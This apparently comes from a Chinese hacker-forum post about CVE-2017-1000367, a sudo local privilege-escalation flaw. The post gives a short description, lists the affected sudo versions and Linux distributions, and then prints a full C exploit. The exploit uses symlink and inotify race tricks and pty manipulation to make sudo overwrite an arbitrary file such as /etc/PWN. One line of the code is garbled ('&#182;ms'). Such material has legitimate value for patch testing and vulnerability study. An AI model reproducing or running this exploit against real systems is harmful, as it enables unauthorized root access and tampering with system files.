搜索
查看: 5772|回复: 0

CVE-2017-1000367

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-6-11 19:31:21 | 显示全部楼层 |阅读模式
2017年5月30日,国外安全研究人员发现Linux环节下,可以通过sudo实现本地提权漏洞,漏洞编号为CVE-2017-1000367,该漏洞几乎影响了所有Linux系统。
具体详情如下:                                   
                                          

漏洞编号:  
CVE-2017-1000367
漏洞名称:  
Sudo本地提权漏洞
官方评级:
高危
漏洞描述:
当确定tty时,Sudo没有正确解析/ proc / [pid] / stat的内容,本地攻击者可能会使用此方法来覆盖文件系统上的任何文件,从而绕过预期权限或获取root shell。
漏洞利用条件和方式:  
本地利用
漏洞影响范围:  


Sudo 1.8.6p7 到 1.8.20
  • Red Hat Enterprise Linux 6 (sudo)  
  • Red Hat Enterprise Linux 7 (sudo)  
  • Red Hat Enterprise Linux Server (v. 5 ELS) (sudo)  
  • Debian wheezy  
  • Debian jessie  
  • Debian stretch  
  • Debian sid  
  • Ubuntu 17.04  
  • Ubuntu 16.10  
  • Ubuntu 16.04 LTS  
  • Ubuntu 14.04 LTS  
  • SUSE Linux Enterprise Software Development Kit 12-SP2  
  • SUSE Linux Enterprise Server for Raspberry Pi 12-SP2  
  • SUSE Linux Enterprise Server 12-SP2  
  • SUSE Linux Enterprise Desktop 12-SP2  
  • OpenSuse  

  1. #include <errno.h>
  2. #include <linux/sched.h>
  3. #include <pty.h>
  4. #include <sched.h>
  5. #include <signal.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <sys/inotify.h>
  10. #include <sys/resource.h>
  11. #include <sys/stat.h>
  12. #include <sys/types.h>
  13. #include <unistd.h>

  14. #define EVENT_SIZE  ( sizeof (struct inotify_event) )
  15. #define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )


  16. int main( )
  17. {

  18.         int length, i = 0;
  19.   int fd;
  20.   int wd;
  21.   char buffer[EVENT_BUF_LEN];

  22.         int master, slave;
  23.         char pts_path[256];

  24.         struct sched_param params;
  25.         params.sched_priority = 0;

  26.         mkdir("/dev/shm/_tmp", 755);
  27.         symlink(pts_path, "/dev/shm/_tmp/_tty");
  28.         symlink("/usr/bin/sudo", "/dev/shm/_tmp/     34873 ");

  29.         fd = inotify_init();
  30.         wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE );

  31.         pid_t pid = fork();
  32.         setpriority(PRIO_PROCESS, pid, 19);
  33.         sched_setscheduler(pid, SCHED_IDLE, &#182;ms);
  34.        
  35.         if(pid == 0) {
  36.                 execlp("/dev/shm/_tmp/     34873 ", "sudo", "--\nHELLO\nWORLD\n", NULL);
  37.         }else{

  38.           length = read( fd, buffer, EVENT_BUF_LEN );
  39.           while ( i < length ) {
  40.                         struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];
  41.                         if ( event->len ) {
  42.               if ( event->mask & IN_OPEN ) {
  43.                                         kill(pid, SIGSTOP);

  44.                                         inotify_rm_watch( fd, wd );
  45.                                         close( fd );

  46.                                         while(strcmp(pts_path,"/dev/pts/57")){
  47.                                                 openpty(&master, &slave, &pts_path[0], NULL, NULL);
  48.                                         };
  49.                                         kill(pid, SIGCONT);

  50.                                 }else if ( event->mask & IN_CLOSE_NOWRITE ) {

  51.                                         kill(pid, SIGSTOP);

  52.                                         inotify_rm_watch( fd, wd );
  53.                                         close( fd );

  54.                                         unlink("/dev/shm/_tmp/_tty");
  55.                                         symlink("/etc/PWN", "/dev/shm/_tmp/_tty");
  56.                                         kill(pid, SIGCONT);

  57.                                         break;


  58.               }
  59.             }
  60.             i += EVENT_SIZE + event->len;
  61.           }

  62. }

  63.         unlink("/dev/shm/_tmp/_tty");
  64.         unlink("/dev/shm/_tmp/     34873 ");
  65.         rmdir("/dev/shm/_tmp");
  66.         close(master);
  67.         close(slave);

  68. }
复制代码



过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表